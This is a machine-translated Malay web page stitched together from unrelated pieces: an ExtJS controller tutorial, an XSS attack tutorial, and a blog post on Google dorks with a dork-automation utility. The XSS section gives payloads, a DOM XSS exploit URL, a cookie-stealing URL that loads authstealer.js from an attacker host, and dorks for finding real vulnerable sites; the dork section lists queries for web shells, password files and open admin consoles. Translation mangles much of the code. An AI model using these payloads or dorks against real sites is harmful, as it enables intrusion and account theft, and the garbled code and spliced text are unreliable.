Inurl livre php msg alert berani. Mencipta pengawal dalam ExtJS. Mencari perkataan menggunakan operator tambahan

Kemas kini terakhir: 11/1/2015

Pengawal ialah pautan utama yang menghubungkan semua bahagian aplikasi bersama-sama dan menjadikannya berfungsi. Tambahkan pada katalog BookApp/apl/pengawal fail Books.js dengan kandungan berikut:

Ext.define("BookApp.controller.Books", ( lanjutkan: "Ext.app.Controller", paparan: ["BookList", "Book"], kedai: ["BookStore"], model: ["Book"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "bookwindow button": ( klik: this.createBook), "bookwindow button": ( klik: this.updateBook ), "butang bookwindow": ( klik: this.deleteBook ), "bookwindow button": ( klik: this.clearForm ) )); // kemas kiniBuku: function(button) ( var win = button.up(" window" ), form = win.down("form"), values ​​​​= form.getValues(), id = form.getRecord().get("id"); values.id=id; Ext.Ajax.request( ( url: "app/data/update.php", params: values, success: function(respons)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( "senarai buku").getStore(); store.load(); Ext.Msg.alert("Kemas kini",data.message); ) else( Ext.Msg.alert("Kemas kini","Gagal mengemas kini buku dalam perpustakaan "); ) ) )); ), // mencipta createBook: function(button) ( var win = button.up("window"), form = win.down("form"), values ​​= form .getValues() ; Ext.Ajax.request(( url: "app/data/create.php", params: values, success: function(respons, options)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Creation",data.message); var store = Ext.widget("booklist").getStore(); store.load(); ) else( Ext.Msg.alert("Creation" ,"Gagal menambah buku ke perpustakaan"); ) ) )); ), // memadam deleteBook: function(button) ( var win = button.up("window"), form = win.down("form"), id = form.getRecord().get("id"); Ext.Ajax.request(( url: "app/data/delete.php", params: (id:id), success: function(response)( var data=Ext.decode(response.responseText); if(data. kejayaan)( Ext.Msg.alert("Delete",data.message); var store = Ext.widget("booklist").getStore(); var record = store.getById(id); store.remove(record) ; form.getForm.reset(); ) else( Ext.Msg.alert("Padam","Gagal mengalih keluar buku daripada perpustakaan"); ) ) ); ), clearForm: function(grid, rekod) ( var view = Ext.widget("bookwindow"); view.down("form").getForm().reset(); ), editBook: function(grid, record) ( var view = Ext.widget("bookwindow") ; view.down("form").loadRecord(rekod); ) ));

Sekarang mari kita lihat kod pengawal. Mula-mula, kami mewarisi daripada kelas Ext.app.Controller dan menetapkan pengawal kepada paparan, model dan stor yang dibuat sebelum ini:

Paparan: ["BookList", "Book"], kedai: ["BookStore"], model: ["Book"],

Seterusnya, dalam parameter init, menggunakan fungsi, kami memulakan pengendali butang yang kami ada dalam paparan. Fungsi kawalan membantu anda mengaitkan pengendali dengan komponen. Fungsi ini menggunakan kelas Ext.ComponentQuery, yang membolehkan anda menggunakan pemilih gaya CSS untuk mencari elemen. Sebagai contoh, ungkapan "viewport > booklist" mencari elemen dengan alias senarai buku yang ditakrifkan dalam komponen viewport. Pemilih ini akan berakhir dengan perwakilan Senarai Buku.

Dan ungkapan "butang tetingkap buku" akan mendapat butang yang sifat tindakannya ditetapkan kepada baharu dan yang terletak dalam elemen tetingkap buku, iaitu, dalam paparan Buku, yang beralias tetingkap buku. Oleh itu, jika anda sudah biasa dengan pemilih CSS, maka tidak sukar untuk anda memahami cara pemilih berfungsi dalam ExtJS.

"viewport > booklist": ( itemdblclick: this.editBook )

Semua fungsi pengendali ditakrifkan selepas fungsi init. Pengendali this.editBook memuatkan model yang dipilih ke dalam tetingkap:

EditBook: function(grid, rekod) ( var view = Ext.widget("bookwindow"); view.down("form").loadRecord(record); )

Menggunakan kaedah Ext.widget, kami mencari komponen yang dikehendaki menggunakan pemilih Ext.ComponentQuery (ungkapan ini akan serupa dengan ungkapan Ext.create("widget.bookwindow") dan kemudian dapatkan elemen anaknya menggunakan kaedah turun, juga menggunakan pemilih. Dan kemudian kami memuatkan model yang dipilih ke dalam borang.

Selepas memuatkan model, kami mempunyai tiga pilihan: tambah buku baharu, tukar buku yang dipilih atau padam buku yang dipilih. Dan di sinilah pengendali untuk butang ini dimainkan. Oleh kerana pengendali adalah daripada jenis yang sama, kami akan menganalisis salah satu daripada mereka.

Pengendali Buku kemas kini menerima data buku yang diubah dan menghantar permintaan Ajax ke pelayan:

Kemas KiniBuku: function(butang) ( var win = button.up("window"), form = win.down("form"), values ​​= form.getValues(), id = form.getRecord().get( "id "); values.id=id; Ext.Ajax.request(( url: "app/data/update.php", params: values, success: function(response)( var data=Ext.decode(respons. responseText) ; if(data.success)( var store = Ext.widget("booklist").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) else( Samb. Msg.alert("Kemas kini","Gagal mengemas kini buku dalam perpustakaan"); ) ) )); ),

Pengendali menerima butang yang ditekan sebagai parameter dan kemudian menggunakan kaedah atas kita boleh mendapatkan elemen induk butang ini: function(button) (var win= button.up("window")...

Dengan nilai ungkapan = form.getValues() kita mendapat semua nilai medan borang, tetapi kerana apabila berubah apabila berinteraksi dengan pangkalan data, sebagai contoh, id diperlukan, maka kita juga menambah id bagi model sedang dikemas kini kepada pembolehubah nilai.

Seterusnya, kami menghantar permintaan Ajax dengan data buku baharu ke pelayan, menghantar pembolehubah nilai sebagai parameter kepada permintaan. Menerima fail kemas kini.php(yang sepatutnya berada dalam folder BookApp/apl/data) boleh menerima parameter yang diluluskan seperti ini:

Dan pada akhirnya, dalam fungsi kejayaan, kami melihat hasil yang dihantar pelayan sebagai tindak balas, dan jika semuanya berjalan lancar, maka kami memuat turun data yang dikemas kini dari pelayan.

Dua pengendali yang lain beroperasi pada prinsip yang sama.

Dan pada akhirnya kami akan menukar fail aplikasi app.js supaya ia menerima pengawal yang dibuat di atas seperti ini:

Ext.application(( memerlukan: ["Ext.container.Viewport"], nama: "BookApp", appFolder: "app", pengawal: ["Books"], launch: function() ( Ext.create("Ext. container.Viewport", ( susun atur: "sesuai", item: ( xtype: "senarai buku") )); ) ));

Dalam pengawal: harta ["Buku"] kami tentukan pengawal yang dibuat di atas.

Kini aplikasi sudah sedia dan boleh dilancarkan:

Oleh itu, kita boleh menggunakan corak MVC untuk membina aplikasi Ext JS.

Skrip silang tapak (XSS) ialah kelemahan yang melibatkan suntikan kod sisi klien (JavaScript) ke dalam halaman web yang sedang dilihat pengguna lain.

Kerentanan ini disebabkan oleh penapisan data yang tidak mencukupi yang pengguna serahkan untuk dimasukkan ke dalam halaman web. Ia lebih mudah difahami dengan contoh konkrit. Ingat mana-mana buku tetamu - ini adalah program yang direka untuk menerima data daripada pengguna dan kemudian memaparkannya. Mari kita bayangkan bahawa buku tetamu tidak menyemak atau menapis data yang dimasukkan dalam apa jua cara, tetapi hanya memaparkannya.

Anda boleh melakar skrip termudah anda (tidak ada yang lebih mudah daripada menulis skrip buruk dalam PHP - ramai orang melakukan ini). Tetapi sudah ada banyak pilihan siap sedia. Sebagai contoh, saya cadangkan bermula dengan Dojo dan OWASP Mutillidae II. Terdapat contoh yang sama di sana. Dalam persekitaran Dojo yang tersendiri, pergi ke pautan ini dalam penyemak imbas anda: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Jika salah seorang pengguna memasukkan:

Halaman web kemudiannya akan memaparkan:

hello! Saya suka tapak anda.

Dan jika pengguna memasukkan ini:

hello! Saya suka tapak anda.alert("Pwned")

Kemudian ia akan dipaparkan seperti ini:

Pelayar menyimpan banyak kuki untuk sejumlah besar tapak. Setiap tapak hanya boleh menerima kuki yang disimpan dengan sendirinya. Contohnya, example.com telah menyimpan beberapa kuki dalam penyemak imbas anda. Jika anda melawat another.com, tapak ini (skrip klien dan pelayan) tidak boleh mengakses kuki yang telah disimpan oleh example.com.

Jika example.com terdedah kepada XSS, ini bermakna kami boleh menyuntik kod JavaScript ke dalamnya dan kod itu akan dilaksanakan bagi pihak example.com! Itu. Kod ini, sebagai contoh, akan mengakses kuki example.com.

Saya rasa semua orang ingat bahawa JavaScript dilaksanakan dalam pelayar pengguna, i.e. dengan kehadiran XSS, kod hasad yang dibenamkan mendapat akses kepada data pengguna yang membuka halaman tapak web.

Kod terbenam boleh melakukan semua yang JavaScript boleh lakukan, iaitu:

  • mendapat akses kepada kuki tapak web yang anda sedang lihat
  • boleh membuat sebarang perubahan pada penampilan halaman
  • mengakses papan keratan
  • boleh melaksanakan program JavaScript, contohnya, keyloggers (pemintas ketukan kekunci)
  • ambil BeEF
  • dan lain-lain.

Contoh paling mudah dengan kuki:

makluman(document.cookie)

Malah, amaran hanya digunakan untuk mengesan XSS. Muatan berniat jahat sebenar melakukan tindakan tersembunyi. Ia secara rahsia menghubungi pelayan jauh penyerang dan memindahkan data yang dicuri kepadanya.

Jenis XSS

Perkara yang paling penting untuk difahami tentang jenis XSS ialah ia adalah:

  • Disimpan (Kekal)
  • Dicerminkan (Fickle)

Contoh pemalar:

  • Mesej yang direka khas yang dimasukkan oleh penyerang ke dalam buku tetamu (komen, mesej forum, profil), yang disimpan pada pelayan, dimuat turun dari pelayan setiap kali pengguna meminta untuk memaparkan halaman ini.
  • Penyerang mendapat akses kepada data pelayan, contohnya, melalui suntikan SQL, dan memperkenalkan kod JavaScript berniat jahat (dengan kilologger atau BeEF) ke dalam data yang diberikan kepada pengguna.

Contoh yang tidak kekal:

  • Terdapat carian di tapak yang, bersama-sama dengan hasil carian, menunjukkan sesuatu seperti "Anda mencari: [rentetan carian]", dan data tidak ditapis dengan betul. Memandangkan halaman sedemikian dipaparkan hanya kepada orang yang mempunyai pautan kepadanya, serangan tidak akan berfungsi sehingga penyerang menghantar pautan kepada pengguna lain tapak tersebut. Daripada menghantar pautan kepada mangsa, anda boleh menggunakan peletakan skrip berniat jahat pada tapak neutral yang mangsa lawati.

Mereka juga membezakan (sesetengahnya sebagai jenis kelemahan XSS yang tidak berterusan, ada yang mengatakan bahawa jenis ini juga boleh menjadi jenis XSS yang berterusan):

  • model DOM
Ciri XSS berasaskan DOM

Secara ringkasnya, kita boleh melihat kod berniat jahat XSS tidak berterusan "biasa" jika kita membuka kod HTML. Sebagai contoh, pautan dibentuk seperti ini:

Http://example.com/search.php?q="/>alert(1)

Dan apabila kami membuka kod HTML sumber, kami melihat sesuatu seperti ini:

makluman(1)" /> Cari

Dan DOM XSS menukar struktur DOM, yang terbentuk dalam penyemak imbas dengan cepat, dan kami hanya boleh melihat kod hasad apabila melihat struktur DOM yang dijana. HTML tidak berubah. Mari kita ambil kod ini sebagai contoh:

tapak:::DOM XSS Ralat berlaku... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("ID sesi anda ialah: " + display_session + "

")

Kemudian dalam penyemak imbas kita akan melihat:

Kod sumber halaman:

Mari kita bentuk alamat seperti ini:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Sekarang halaman kelihatan seperti ini:

Tetapi mari kita lihat pada kod sumber HTML:

Tiada apa yang berubah di sana sama sekali. Inilah yang saya bincangkan, kita perlu melihat struktur DOM dokumen untuk mengenal pasti kod berniat jahat:

Berikut ialah prototaip XSS yang berfungsi, untuk serangan sebenar kita memerlukan muatan yang lebih kompleks, yang tidak mungkin disebabkan oleh fakta bahawa aplikasi berhenti membaca sejurus selepas koma bertitik, dan sesuatu seperti alert(1);alert(2) adalah tidak. lebih lama mungkin. Walau bagaimanapun, terima kasih kepada unescape() kita boleh menggunakan muatan seperti ini dalam data pemulangan:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Di mana kami menggantikan simbol ; kepada setara yang dikodkan URI!

Kami kini boleh menulis muatan JavaScript yang berniat jahat dan mengarang pautan untuk dihantar kepada mangsa, seperti yang dilakukan untuk skrip rentas tapak standard yang tidak berterusan.

Juruaudit XSS

Dalam Google Chrome (dan juga dalam Opera, yang kini menggunakan enjin Google Chrome), kejutan ini menanti saya:

dom_xss.html:30 Juruaudit XSS enggan melaksanakan skrip dalam "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" kerana kod sumbernya ditemui dalam permintaan. Juruaudit telah didayakan kerana pelayan tidak menghantar pengepala "X-XSS-Protection" mahupun "Content-Security-Policy".

Itu. penyemak imbas kini mempunyai juruaudit XSS yang akan cuba menghalang XSS. Firefox belum mempunyai fungsi ini lagi, tetapi saya fikir ia hanya menunggu masa. Jika pelaksanaan dalam pelayar berjaya, maka kita boleh bercakap tentang kesukaran yang ketara dalam menggunakan XSS.

Perlu diingat bahawa penyemak imbas moden sedang mengambil langkah untuk mengehadkan tahap masalah eksploitatif seperti XSS yang tidak berterusan dan XSS berasaskan DOM. Perkara ini juga perlu diingati apabila menguji tapak web menggunakan penyemak imbas - mungkin ternyata aplikasi web itu terdedah, tetapi anda tidak melihat pengesahan pop timbul hanya kerana penyemak imbas menyekatnya.

Contoh eksploitasi XSS

Penyerang yang berhasrat untuk mengeksploitasi kelemahan skrip merentas tapak mesti mendekati setiap kelas kerentanan secara berbeza. Vektor serangan untuk setiap kelas diterangkan di sini.

Untuk kelemahan XSS, serangan boleh menggunakan BeEF, yang memanjangkan serangan daripada tapak web ke persekitaran setempat pengguna.

Contoh serangan XSS yang tidak berterusan

1. Alice kerap melawat tapak web tertentu yang dihoskan oleh Bob. Tapak web Bob membenarkan Alice log masuk dengan nama pengguna/kata laluan dan menyimpan data sensitif seperti maklumat pembayaran. Apabila pengguna log masuk, penyemak imbas menyimpan kuki kebenaran, yang kelihatan seperti aksara tidak bermakna, i.e. kedua-dua komputer (pelanggan dan pelayan) ingat bahawa dia masuk.

2. Mallory menyatakan bahawa tapak web Bob mengandungi kerentanan XSS yang tidak berterusan:

2.1 Apabila anda melawat halaman carian, masukkan rentetan carian dan klik pada butang hantar, jika tiada keputusan ditemui, halaman memaparkan rentetan carian yang dimasukkan diikuti dengan perkataan "tidak dijumpai" dan url kelihatan seperti http://bobssite .org?q= pertanyaan cariannya

2.2 Dengan pertanyaan carian biasa seperti perkataan "anjing", halaman hanya memaparkan "tiada anjing ditemui" dan url http://bobssite.org?q=dogs, yang merupakan kelakuan normal sepenuhnya.

2.3 Walau bagaimanapun, apabila pertanyaan carian anomali seperti alert("xss"); :

2.3.1 Mesej amaran muncul (yang menyatakan "xss").

2.3.2 Halaman memaparkan amaran("xss"); tidak ditemui bersama dengan mesej ralat dengan teks "xss".

2.3.3 url sesuai untuk eksploitasi http://bobssite.org?q=alert("xss");

3. Mallory membina URL untuk mengeksploitasi kelemahan:

3.1 Dia membuat URL http://bobssite.org?q=puppies. Dia boleh memilih untuk menukar aksara ASCII kepada format perenambelasan seperti http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E mengikut urutan untuk menghalang orang daripada segera mentafsir URL berniat jahat.

3.2 Dia menghantar e-mel kepada beberapa ahli tapak Bob yang tidak curiga berkata, "Lihat anjing yang hebat."

4. Alice menerima sepucuk surat. Dia suka anjing dan mengklik pada pautan. Dia pergi ke tapak Bob dalam carian, dia tidak menemui apa-apa, "tiada anjing ditemui" dipaparkan di sana, dan di tengah-tengah teg dengan skrip dilancarkan (ia tidak kelihatan pada skrin), memuat turun dan melaksanakan Malory's program authstealer.js (mencetuskan serangan XSS). Alice melupakannya.

5. Program authstealer.js berjalan dalam pelayar Alice seolah-olah ia berasal dari tapak web Bob. Dia mengambil salinan kuki kebenaran Alice dan menghantarnya ke pelayan Malory, tempat Malory mendapatkannya.

7. Sekarang Malorie sudah berada di dalam, dia pergi ke bahagian pembayaran di tapak web, melihat dan mencuri salinan nombor kad kredit Alice. Kemudian dia pergi dan menukar kata laluan, i.e. Sekarang Alice tidak boleh masuk lagi.

8. Dia memutuskan untuk mengambil langkah seterusnya dan menghantar pautan yang dibina dengan cara ini kepada Bob sendiri, dan dengan itu menerima keistimewaan pentadbiran untuk tapak Bob.

Serangan XSS berterusan

  • Mallory mempunyai akaun di tapak web Bob.
  • Mallory menyedari bahawa tapak web Bob mengandungi kerentanan XSS yang berterusan. Jika anda pergi ke bahagian baharu dan menyiarkan ulasan, ia akan memaparkan apa sahaja yang ditaip ke dalamnya. Tetapi jika teks ulasan mengandungi teg HTML, teg tersebut akan dipaparkan seperti sedia ada dan sebarang teg skrip akan dilaksanakan.
  • Mallory membaca artikel di bahagian Berita dan menulis ulasan di bahagian Komen. Dalam ulasan dia memasukkan teks:
  • Saya sangat suka anjing dalam cerita ini. Mereka sangat baik!
  • Apabila Alice (atau orang lain) memuatkan halaman dengan ulasan ini, teg skrip Malory berjalan dan mencuri kuki kebenaran Alice, menghantarnya ke pelayan rahsia Malory untuk pengumpulan.
  • Mallory kini boleh merampas sesi Alice dan menyamar sebagai Alice.
  • Mencari tapak yang terdedah kepada XSS

    Dorks untuk XSS

    Langkah pertama ialah memilih tapak di mana kami akan melakukan serangan XSS. Tapak boleh dicari menggunakan Google dorks. Berikut ialah beberapa dork ini yang boleh anda salin dan tampal ke dalam carian Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Senarai tapak akan dibuka di hadapan kita. Anda perlu membuka tapak dan mencari medan input padanya, seperti borang maklum balas, borang input, carian tapak, dsb.

    Biar saya ambil perhatian segera bahawa hampir tidak berguna untuk mencari kelemahan dalam aplikasi web yang dikemas kini secara automatik secara automatik. Contoh klasik aplikasi sedemikian ialah WordPress. Malah, terdapat kelemahan dalam WordPress, dan terutamanya dalam pemalamnya. Selain itu, terdapat banyak laman web yang tidak mengemas kini sama ada enjin WordPress (kerana hakikat bahawa juruweb membuat beberapa perubahan pada kod sumber) atau pemalam dan tema mereka (sebagai peraturan, ini adalah pemalam dan tema cetak rompak). Tetapi jika anda membaca bahagian ini dan mempelajari sesuatu yang baru daripadanya, maka WordPress bukan untuk anda lagi... Kami pasti akan kembali kepadanya kemudian.

    Matlamat terbaik ialah pelbagai enjin dan skrip yang ditulis sendiri.

    Anda boleh memilih muatan sisipan sebagai

    makluman(1)

    Perhatikan kod HTML yang menandai kod terbenam anda. Berikut ialah contoh medan input biasa:

    makluman(1)

    Muatan kami akan berakhir di mana perkataan "sarung bantal" sekarang. Itu. bertukar menjadi nilai tag input. Kita boleh mengelakkan ini - kita menutup petikan berganda, dan kemudian teg itu sendiri dengan "/>

    "/>makluman(1)

    Mari cuba untuk beberapa tapak:

    Hebat, terdapat kelemahan

    Program untuk mencari dan mengimbas kelemahan XSS

    Mungkin semua pengimbas aplikasi web mempunyai pengimbas kelemahan XSS terbina dalam. Topik ini tidak menyeluruh; adalah lebih baik untuk membiasakan diri dengan setiap pengimbas yang serupa secara berasingan.

    Terdapat juga alat khusus untuk mengimbas kelemahan XSS. Antaranya kita boleh menyerlahkan:

    • XSSer bukan sahaja pengimbas berkuasa yang boleh menggunakan pelbagai kaedah menyuntik dan memintas penapisan, ia juga merupakan alat automatik untuk mencari tapak yang terdedah kepada XSS (oleh dorks). Untuk tapak yang mempunyai kelemahan yang ditemui, ia boleh menyuntik muatan untuk serangan sebenar;
    • XssPy juga merupakan alat yang agak bebas yang boleh mencari semua halaman tapak (termasuk halaman pada subdomain) dan menyemak semua elemen input pada halaman ini;

    USSCLTD 10 Mei 2016 jam 12:38 tengahari

    Mencari kelemahan menggunakan Google
    • Keselamatan maklumat

    Sebarang carian untuk kelemahan pada sumber web bermula dengan peninjauan dan pengumpulan maklumat.
    Perisikan boleh sama ada aktif - kuasa kasar fail dan direktori tapak, menjalankan pengimbas kerentanan, menyemak imbas tapak secara manual atau pasif - mencari maklumat dalam enjin carian yang berbeza. Kadang-kadang ia berlaku bahawa kelemahan diketahui walaupun sebelum membuka halaman pertama tapak.

    Bagaimana ini boleh berlaku?
    Robot carian, sentiasa merayau Internet, sebagai tambahan kepada maklumat yang berguna kepada pengguna biasa, sering merekodkan perkara yang boleh digunakan oleh penyerang untuk menyerang sumber web. Contohnya, ralat skrip dan fail dengan maklumat sensitif (daripada fail konfigurasi dan log kepada fail dengan data pengesahan dan sandaran pangkalan data).
    Dari sudut pandangan robot carian, mesej ralat tentang melaksanakan pertanyaan sql ialah teks biasa, tidak dapat dipisahkan, sebagai contoh, daripada perihalan produk pada halaman. Jika tiba-tiba robot carian menjumpai fail dengan sambungan .sql, yang atas sebab tertentu berakhir dalam folder kerja tapak, maka ia akan dianggap sebagai sebahagian daripada kandungan tapak dan juga akan diindeks (termasuk, mungkin, kata laluan dinyatakan di dalamnya).

    Maklumat sedemikian boleh didapati dengan mengetahui kata kunci yang kuat, selalunya unik, yang membantu memisahkan "halaman terdedah" daripada halaman yang tidak mengandungi kelemahan.
    Pangkalan data besar pertanyaan khas menggunakan kata kunci (dipanggil dorks) wujud di exploit-db.com dan dikenali sebagai Pangkalan Data Hack Google.

    Kenapa google?
    Dorks disasarkan terutamanya kepada Google atas dua sebab:
    − sintaks kata kunci yang paling fleksibel (ditunjukkan dalam Jadual 1) dan aksara khas (ditunjukkan dalam Jadual 2);
    − indeks Google masih lebih lengkap daripada enjin carian lain;

    Jadual 1 - Kata kunci utama Google

    Kata kunci
    Maknanya
    Contoh
    tapak
    Cari hanya di tapak yang ditentukan. Hanya mengambil kira url
    site:somesite.ru - akan menemui semua halaman pada domain dan subdomain tertentu
    inurl
    Cari mengikut perkataan yang terdapat dalam uri. Tidak seperti cl. perkataan "tapak", mencari padanan selepas nama tapak
    inurl:news - mencari semua halaman di mana perkataan yang diberikan muncul dalam uri
    inteks
    Cari dalam badan halaman
    intext:”kesesakan lalu lintas” - sama sekali dengan permintaan biasa untuk “kesesakan lalu lintas”
    intitle
    Cari dalam tajuk halaman. Teks antara tag
    intitle:”index of” - akan menemui semua halaman dengan penyenaraian direktori
    samb
    Cari halaman dengan sambungan tertentu
    ext:pdf - mencari semua fail pdf
    jenis fail
    Pada masa ini, sama sekali dengan kelas. perkataan "ext"
    filetype:pdf - serupa
    berkaitan
    Cari tapak dengan topik yang serupa
    related:google.ru - akan menunjukkan analognya
    pautan
    Cari tapak yang memaut ke ini
    pautan:somesite.ru - akan menemui semua tapak yang mempunyai pautan ke ini
    tentukan
    Tunjukkan definisi perkataan
    define:0day - definisi istilah
    cache
    Tunjukkan kandungan halaman dalam cache (jika ada)
    cache:google.com - akan membuka halaman cache

    Jadual 2 - Aksara khas untuk pertanyaan Google

    Simbol
    Maknanya
    Contoh

    Frasa tepat
    intitle:"halaman konfigurasi penghala RouterOS" - cari penghala
    *
    Sebarang teks
    inurl: “bitrix*mcart” - cari tapak pada bitrix dengan modul mcart yang terdedah
    .
    Apa-apa watak
    Index.of - serupa dengan indeks permintaan
    -
    Padamkan perkataan
    ralat -amaran - tunjukkan semua halaman yang mempunyai ralat tetapi tiada amaran
    ..
    Julat
    cve 2006..2016 - tunjukkan kelemahan mengikut tahun bermula dari 2006
    |
    Logik "atau"
    linux | tingkap - tunjukkan halaman di mana sama ada perkataan pertama atau kedua muncul

    Perlu difahami bahawa sebarang permintaan kepada enjin carian adalah carian hanya dengan perkataan.
    Tidak ada gunanya mencari aksara meta pada halaman (petikan, kurungan, tanda baca, dll.). Malah carian untuk frasa tepat yang dinyatakan dalam tanda petikan ialah carian perkataan, diikuti dengan carian untuk padanan tepat dalam hasil carian.

    Semua dorks Pangkalan Data Hack Google dibahagikan secara logik kepada 14 kategori dan dibentangkan dalam Jadual 3.
    Jadual 3 – Kategori Pangkalan Data Hack Google

    kategori
    Apa yang membolehkan anda mencari
    Contoh
    pijakan
    Cangkang web, pengurus fail awam
    Cari semua tapak yang digodam tempat cangkerang web yang disenaraikan dimuat naik:
    (intitle:"phpshell" ATAU intitle:"c99shell" ATAU intitle:"r57shell" ATAU intitle:"PHP Shell" ATAU intitle:"phpRemoteView") `rwx` "uname"
    Fail yang mengandungi nama pengguna
    Fail pendaftaran, fail konfigurasi, log, fail yang mengandungi sejarah arahan yang dimasukkan
    Cari semua fail pendaftaran yang mengandungi maklumat akaun:
    filetype:reg reg +intext:"pengurus akaun internet"
    Direktori Sensitif
    Direktori dengan pelbagai maklumat (dokumen peribadi, konfigurasi vpn, repositori tersembunyi, dsb.)
    Cari semua penyenaraian direktori yang mengandungi fail berkaitan VPN:
    "Config" intitle:"Index of" intext:vpn
    Tapak yang mengandungi repositori git:
    (intext:"index of /.git") ("direktori induk")
    Pengesanan Pelayan Web
    Versi dan maklumat lain tentang pelayan web
    Cari konsol pentadbiran pelayan JBoss:
    inurl:"/web-console/" intitle:"Konsol Pentadbiran"
    Fail Terdedah
    Skrip yang mengandungi kelemahan yang diketahui
    Cari tapak yang menggunakan skrip yang membolehkan anda memuat naik fail sewenang-wenangnya daripada pelayan:
    allinurl:forcedownload.php?file=
    Pelayan Terdedah
    Skrip pemasangan, cangkerang web, konsol pentadbiran terbuka, dsb.
    Cari konsol PHPMyAdmin terbuka yang berjalan sebagai root:
    intitle:phpMyAdmin "Selamat datang ke phpMyAdmin ***" "berjalan pada * sebagai root@*"
    Mesej Ralat
    Pelbagai ralat dan amaran sering mendedahkan maklumat penting - daripada versi CMS kepada kata laluan
    Tapak yang mempunyai ralat dalam melaksanakan pertanyaan SQL ke pangkalan data:
    "Amaran: mysql_query()" "pertanyaan tidak sah"
    Fail yang mengandungi maklumat menarik
    Sijil, sandaran, e-mel, log, skrip SQL, dsb.
    Cari skrip sql permulaan:
    filetype:sql dan "masukkan ke" -site:github.com
    Fail yang mengandungi kata laluan
    Apa-apa sahaja yang boleh mengandungi kata laluan - log, skrip sql, dsb.
    Log yang menyebut kata laluan:
    jenis fail:loginteks:kata laluan |lulus |pw
    skrip sql yang mengandungi kata laluan:
    samb:sqlinteks:nama penggunainteks:kata laluan
    Maklumat Beli-belah Dalam Talian Sensitif
    Maklumat berkaitan pembelian dalam talian
    Cari kod pin:
    dcid=bn=pinkod=
    Data rangkaian atau kelemahan
    Maklumat yang tidak berkaitan secara langsung dengan sumber web, tetapi menjejaskan rangkaian atau perkhidmatan bukan web lain
    Cari skrip konfigurasi proksi automatik yang mengandungi maklumat tentang rangkaian dalaman:
    inurl:proksi | inurl:wpad ext:pac | ext:dat findproxyforurl
    Halaman yang mengandungi portal log masuk
    Halaman yang mengandungi borang log masuk
    halaman web saplogon:
    intext:"2016 SAP AG. Hak cipta terpelihara." intitle: "Logon"
    Pelbagai Peranti Dalam Talian
    Pencetak, penghala, sistem pemantauan, dsb.
    Cari panel konfigurasi pencetak:
    tajuk:"hplaserjet"inurl:SSI/Pengesahan/set_konfigurasi_maklumat peranti.htm
    Nasihat dan Kelemahan
    Tapak web pada versi CMS yang terdedah
    Cari pemalam yang terdedah yang melaluinya anda boleh memuat naik fail sewenang-wenangnya ke pelayan:
    inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled

    Dorks lebih kerap menumpukan pada carian merentasi semua tapak Internet. Tetapi tiada apa yang menghalang anda daripada mengehadkan skop carian pada mana-mana tapak atau tapak.
    Setiap pertanyaan Google boleh ditumpukan pada tapak tertentu dengan menambahkan kata kunci "tapak:somesite.com" pada pertanyaan. Kata kunci ini boleh ditambahkan pada mana-mana dork.

    Mengautomasikan carian untuk kelemahan
    Ini adalah bagaimana idea itu dilahirkan untuk menulis utiliti mudah yang mengautomasikan carian untuk kelemahan menggunakan enjin carian (google) dan bergantung pada Pangkalan Data Hack Google.

    Utiliti ialah skrip yang ditulis dalam nodejs menggunakan phantomjs. Lebih tepatnya, skrip ditafsirkan oleh phantomjs sendiri.
    Phantomjs ialah pelayar web lengkap tanpa GUI, dikawal oleh kod js dan dengan API yang mudah.
    Utiliti itu menerima nama yang agak mudah difahami - dorks. Dengan menjalankannya pada baris arahan (tanpa pilihan), kami mendapat bantuan singkat dengan beberapa contoh penggunaan:


    Rajah 1 - Senarai pilihan dorks utama

    Sintaks umum utiliti ialah: dork “command” “option list”.
    Penerangan terperinci tentang semua pilihan dibentangkan dalam Jadual 4.

    Jadual 4 - sintaks Dorks

    Pasukan
    Pilihan
    Penerangan
    ghdb
    -l
    Cetak senarai bernombor kategori dork Pangkalan Data Hack Google
    -c "nombor atau nama kategori"
    Muatkan pintu kategori yang ditentukan mengikut nombor atau nama
    -q "frasa"
    Muat turun dorks ditemui atas permintaan
    -o "fail"
    Simpan hasilnya ke fail (hanya dengan pilihan -c|-q)
    google
    -d "dork"
    Tetapkan dork sewenang-wenangnya (pilihan boleh digunakan berkali-kali, kombinasi dengan pilihan -D dibenarkan)
    -D "fail"
    Gunakan dorks dari fail
    -s "tapak"
    Tetapkan tapak (pilihan boleh digunakan berkali-kali, gabungan dengan pilihan -S dibenarkan)
    -S "fail"
    Gunakan tapak daripada fail (dorks akan dicari untuk setiap tapak secara berasingan)
    -f "penapis"
    Tetapkan kata kunci tambahan (akan ditambahkan pada setiap dork)
    -t "bilangan ms"
    Selang antara permintaan kepada google
    -T "bilangan ms"
    Tamat masa jika captcha ditemui
    -o "fail"
    Simpan hasilnya ke fail (hanya trek yang mana sesuatu ditemui akan disimpan)

    Menggunakan arahan ghdb, anda boleh mendapatkan semua dorks dari exploit-db dengan permintaan sewenang-wenangnya, atau tentukan keseluruhan kategori. Jika anda menentukan kategori 0, keseluruhan pangkalan data akan dipunggah (kira-kira 4.5 ribu dorks).

    Senarai kategori yang tersedia pada masa ini ditunjukkan dalam Rajah 2.

    Rajah 2 - Senarai kategori dork GHDB yang tersedia

    Pasukan google akan menggantikan setiap dork ke dalam enjin carian google dan menganalisis keputusan untuk perlawanan. Laluan di mana sesuatu ditemui akan disimpan ke fail.
    Utiliti ini menyokong mod carian yang berbeza:
    1 dork dan 1 tapak;
    1 dork dan banyak tapak;
    1 tapak dan banyak dorks;
    banyak tapak dan banyak dorks;
